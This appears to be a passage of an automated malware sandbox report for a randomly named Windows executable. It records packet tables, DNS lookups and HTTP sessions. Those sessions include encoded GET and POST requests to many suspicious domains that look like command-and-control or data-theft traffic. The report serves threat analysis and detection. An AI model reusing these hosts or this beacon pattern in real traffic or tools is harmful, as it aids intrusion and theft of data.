                                                                                              Oct 23, 2024 17:33:27.412377119 CEST4998580192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:33:28.425122976 CEST4998680192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:33:28.430615902 CEST804998685.159.66.93192.168.2.7
                                                                                              Oct 23, 2024 17:33:28.430715084 CEST4998680192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:33:28.445630074 CEST4998680192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:33:28.451046944 CEST804998685.159.66.93192.168.2.7
                                                                                              Oct 23, 2024 17:34:29.340111017 CEST804998685.159.66.93192.168.2.7
                                                                                              Oct 23, 2024 17:34:29.380412102 CEST4998680192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:34:29.502203941 CEST804998685.159.66.93192.168.2.7
                                                                                              Oct 23, 2024 17:34:29.502336979 CEST4998680192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:34:29.503401995 CEST4998680192.168.2.785.159.66.93
                                                                                              Oct 23, 2024 17:34:29.508809090 CEST804998685.159.66.93192.168.2.7
                                                                                              Oct 23, 2024 17:34:34.536472082 CEST4998780192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:34.543474913 CEST8049987188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:34.546188116 CEST4998780192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:34.558996916 CEST4998780192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:34.565748930 CEST8049987188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:35.223987103 CEST8049987188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:35.224736929 CEST8049987188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:35.224801064 CEST4998780192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:36.061378956 CEST4998780192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:37.081790924 CEST4998880192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:37.087486029 CEST8049988188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:37.090703011 CEST4998880192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:37.102175951 CEST4998880192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:37.107779026 CEST8049988188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:37.771912098 CEST8049988188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:37.774065971 CEST8049988188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:37.774156094 CEST4998880192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:38.608150959 CEST4998880192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:39.626883030 CEST4998980192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:39.632558107 CEST8049989188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:39.632647991 CEST4998980192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:39.644583941 CEST4998980192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:39.650290012 CEST8049989188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:39.650335073 CEST8049989188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:40.328186989 CEST8049989188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:40.330414057 CEST8049989188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:40.334439039 CEST4998980192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:41.155709028 CEST4998980192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:42.173811913 CEST4999380192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:42.179461956 CEST8049993188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:42.179661036 CEST4999380192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:42.188899994 CEST4999380192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:42.194864988 CEST8049993188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:42.856741905 CEST8049993188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:42.858051062 CEST8049993188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:42.858134031 CEST4999380192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:42.861732960 CEST4999380192.168.2.7188.114.97.3
                                                                                              Oct 23, 2024 17:34:42.867192030 CEST8049993188.114.97.3192.168.2.7
                                                                                              Oct 23, 2024 17:34:47.942169905 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:47.947801113 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:47.951838970 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:47.961715937 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:47.968957901 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.833265066 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.833424091 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.833484888 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:48.833496094 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.833551884 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.833581924 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.833616018 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:48.873646975 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:48.973270893 CEST804999437.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:48.973337889 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:49.467500925 CEST4999480192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:50.488199949 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:50.493813992 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:50.493921995 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:50.514065981 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:50.520086050 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:51.383136988 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:51.383162975 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:51.383179903 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:51.383198023 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:51.383294106 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:51.383294106 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:51.525335073 CEST804999537.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:51.527981043 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:52.030284882 CEST4999580192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:53.048949957 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:53.054660082 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.054734945 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:53.068348885 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:53.074263096 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.074409008 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.954890966 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.954911947 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.954922915 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.954933882 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:53.955041885 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:53.955043077 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:54.092796087 CEST804999637.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:54.095856905 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:54.578351974 CEST4999680192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:55.597990036 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:55.603629112 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:55.603737116 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:55.611731052 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:55.617275953 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486562967 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486627102 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486669064 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486690044 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.486702919 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486738920 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486771107 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.486772060 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486813068 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486815929 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.486841917 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486876011 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486891985 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.486908913 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.486951113 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.492440939 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.492497921 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.492532015 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.492538929 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.492567062 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.492641926 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.492727041 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.545552969 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.626899004 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.626944065 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.627043962 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.627108097 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.627199888 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.627248049 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.631652117 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.632071018 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.632131100 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.772267103 CEST804999737.9.175.163192.168.2.7
                                                                                              Oct 23, 2024 17:34:56.772391081 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.773433924 CEST4999780192.168.2.737.9.175.163
                                                                                              Oct 23, 2024 17:34:56.778844118 CEST804999737.9.175.163192.168.2.7
                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                              Oct 23, 2024 17:32:22.604322910 CEST6496653192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:32:22.865386009 CEST53649661.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:32:38.580100060 CEST5527753192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:32:38.616451025 CEST53552771.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:32:52.204909086 CEST5442153192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:32:52.222094059 CEST53544211.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:33:05.789665937 CEST5743553192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:33:06.625381947 CEST53574351.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:33:20.673603058 CEST5512853192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:33:20.789988041 CEST53551281.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:34:34.518244982 CEST5032853192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:34:34.533133030 CEST53503281.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:34:47.879832983 CEST6107353192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:34:47.937232971 CEST53610731.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:35:01.784476042 CEST5298353192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:35:02.780101061 CEST5298353192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:35:03.248056889 CEST53529831.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:35:03.250919104 CEST53529831.1.1.1192.168.2.7
                                                                                              Oct 23, 2024 17:35:17.550920010 CEST4981453192.168.2.71.1.1.1
                                                                                              Oct 23, 2024 17:35:17.565314054 CEST53498141.1.1.1192.168.2.7
                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                              Oct 23, 2024 17:32:22.604322910 CEST192.168.2.71.1.1.10x84a9Standard query (0)www.gcast.videoA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:32:38.580100060 CEST192.168.2.71.1.1.10x8639Standard query (0)www.redlakedispensery.netA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:32:52.204909086 CEST192.168.2.71.1.1.10x8763Standard query (0)www.launchdreamidea.xyzA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:05.789665937 CEST192.168.2.71.1.1.10xe58eStandard query (0)www.bybitexchange.clickA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:20.673603058 CEST192.168.2.71.1.1.10xb0e5Standard query (0)www.kartal-nakliyat.xyzA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:34:34.518244982 CEST192.168.2.71.1.1.10x65fcStandard query (0)www.freedietbuilder.onlineA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:34:47.879832983 CEST192.168.2.71.1.1.10x1acStandard query (0)www.elektromontaze.onlineA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:35:01.784476042 CEST192.168.2.71.1.1.10x7c78Standard query (0)www.18kwatch.comA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:35:02.780101061 CEST192.168.2.71.1.1.10x7c78Standard query (0)www.18kwatch.comA (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:35:17.550920010 CEST192.168.2.71.1.1.10x3d43Standard query (0)www.royapop.onlineA (IP address)IN (0x0001)false
                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                              Oct 23, 2024 17:32:22.865386009 CEST1.1.1.1192.168.2.70x84a9No error (0)www.gcast.video98.124.224.17A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:32:38.616451025 CEST1.1.1.1192.168.2.70x8639No error (0)www.redlakedispensery.netwebredir.vip.gandi.netCNAME (Canonical name)IN (0x0001)false
                                                                                              Oct 23, 2024 17:32:38.616451025 CEST1.1.1.1192.168.2.70x8639No error (0)webredir.vip.gandi.net217.70.184.50A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:32:52.222094059 CEST1.1.1.1192.168.2.70x8763No error (0)www.launchdreamidea.xyz188.114.97.3A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:32:52.222094059 CEST1.1.1.1192.168.2.70x8763No error (0)www.launchdreamidea.xyz188.114.96.3A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:06.625381947 CEST1.1.1.1192.168.2.70xe58eNo error (0)www.bybitexchange.clickbybitexchange.clickCNAME (Canonical name)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:06.625381947 CEST1.1.1.1192.168.2.70xe58eNo error (0)bybitexchange.click45.252.249.43A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:20.789988041 CEST1.1.1.1192.168.2.70xb0e5No error (0)www.kartal-nakliyat.xyzredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:20.789988041 CEST1.1.1.1192.168.2.70xb0e5No error (0)redirect.natrocdn.comnatroredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                              Oct 23, 2024 17:33:20.789988041 CEST1.1.1.1192.168.2.70xb0e5No error (0)natroredirect.natrocdn.com85.159.66.93A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:34:34.533133030 CEST1.1.1.1192.168.2.70x65fcNo error (0)www.freedietbuilder.online188.114.97.3A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:34:34.533133030 CEST1.1.1.1192.168.2.70x65fcNo error (0)www.freedietbuilder.online188.114.96.3A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:34:47.937232971 CEST1.1.1.1192.168.2.70x1acNo error (0)www.elektromontaze.online37.9.175.163A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:35:03.248056889 CEST1.1.1.1192.168.2.70x7c78No error (0)www.18kwatch.com202.87.223.248A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:35:03.250919104 CEST1.1.1.1192.168.2.70x7c78No error (0)www.18kwatch.com202.87.223.248A (IP address)IN (0x0001)false
                                                                                              Oct 23, 2024 17:35:17.565314054 CEST1.1.1.1192.168.2.70x3d43No error (0)www.royapop.online209.74.64.190A (IP address)IN (0x0001)false
                                                                                              • www.gcast.video
                                                                                              • www.redlakedispensery.net
                                                                                              • www.launchdreamidea.xyz
                                                                                              • www.bybitexchange.click
                                                                                              • www.kartal-nakliyat.xyz
                                                                                              • www.freedietbuilder.online
                                                                                              • www.elektromontaze.online
                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              0192.168.2.74979898.124.224.17805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:22.887300968 CEST429OUTGET /zt7d/?OReh1rq=gioIZrJHQSo5Twa9TT6znS2fp8FeqxYG9swkBqqgC+UipwurX93lliJtQqPWuIS6ZmF33XYXd2mTI6MGqYLGA7aepf23dKNnGtvBjHiHmMvjQtNcQ1gpkcMaXgjsQjVZxJ4sA2oNNTmX&CvQl=nrm0ZhFpzl HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.gcast.video
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:32:23.513427019 CEST1236INHTTP/1.1 404 Not Found
                                                                                              Content-Type: text/html
                                                                                              Server: Microsoft-IIS/10.0
                                                                                              X-Powered-By: ASP.NET
                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                              Date: Wed, 23 Oct 2024 15:32:22 GMT
                                                                                              Connection: close
                                                                                              Content-Length: 1245
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                              Oct 23, 2024 17:32:23.513919115 CEST218INData Raw: 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e
                                                                                              Data Ascii: <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              1192.168.2.749874217.70.184.50805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:38.634825945 CEST718OUTPOST /6u21/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.redlakedispensery.net
                                                                                              Origin: http://www.redlakedispensery.net
                                                                                              Content-Length: 220
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.redlakedispensery.net/6u21/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 4c 58 79 75 5a 7a 77 51 42 38 4f 43 51 2f 31 35 41 58 37 44 63 5a 72 30 6d 36 73 6a 6b 5a 52 57 71 6e 74 6e 33 70 42 58 45 67 46 51 4d 67 57 70 54 78 6b 59 4f 47 79 39 75 7a 73 79 72 66 47 37 4b 42 78 33 4b 78 57 50 6a 77 32 30 36 47 63 71 57 4a 46 42 33 6d 73 54 59 59 44 74 41 45 2b 57 7a 65 51 44 73 52 2f 6e 4f 4c 52 61 50 54 35 36 71 59 57 33 38 34 36 75 46 59 68 4b 75 34 73 39 4d 57 57 6d 45 53 6f 49 67 78 2b 49 6e 4e 55 34 30 72 30 6a 6e 44 6c 65 39 50 57 4c 70 69 2f 44 39 58 31 79 41 51 30 6d 44 61 32 43 6d 53 68 50 34 33 53 6d 30 75 76 42 77 6a 73 39 31 6a 4f 61 57 62 36 43 36 37 30 71 4c 31 51 51 59 6b 47 52 48 77 3d 3d
                                                                                              Data Ascii: OReh1rq=LXyuZzwQB8OCQ/15AX7DcZr0m6sjkZRWqntn3pBXEgFQMgWpTxkYOGy9uzsyrfG7KBx3KxWPjw206GcqWJFB3msTYYDtAE+WzeQDsR/nOLRaPT56qYW3846uFYhKu4s9MWWmESoIgx+InNU40r0jnDle9PWLpi/D9X1yAQ0mDa2CmShP43Sm0uvBwjs91jOaWb6C670qL1QQYkGRHw==
                                                                                              Oct 23, 2024 17:32:39.479660988 CEST608INHTTP/1.1 501 Unsupported method ('POST')
                                                                                              Server: nginx
                                                                                              Date: Wed, 23 Oct 2024 15:32:39 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED]
                                                                                              Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              2192.168.2.749886217.70.184.50805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:41.188153982 CEST738OUTPOST /6u21/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.redlakedispensery.net
                                                                                              Origin: http://www.redlakedispensery.net
                                                                                              Content-Length: 240
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.redlakedispensery.net/6u21/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
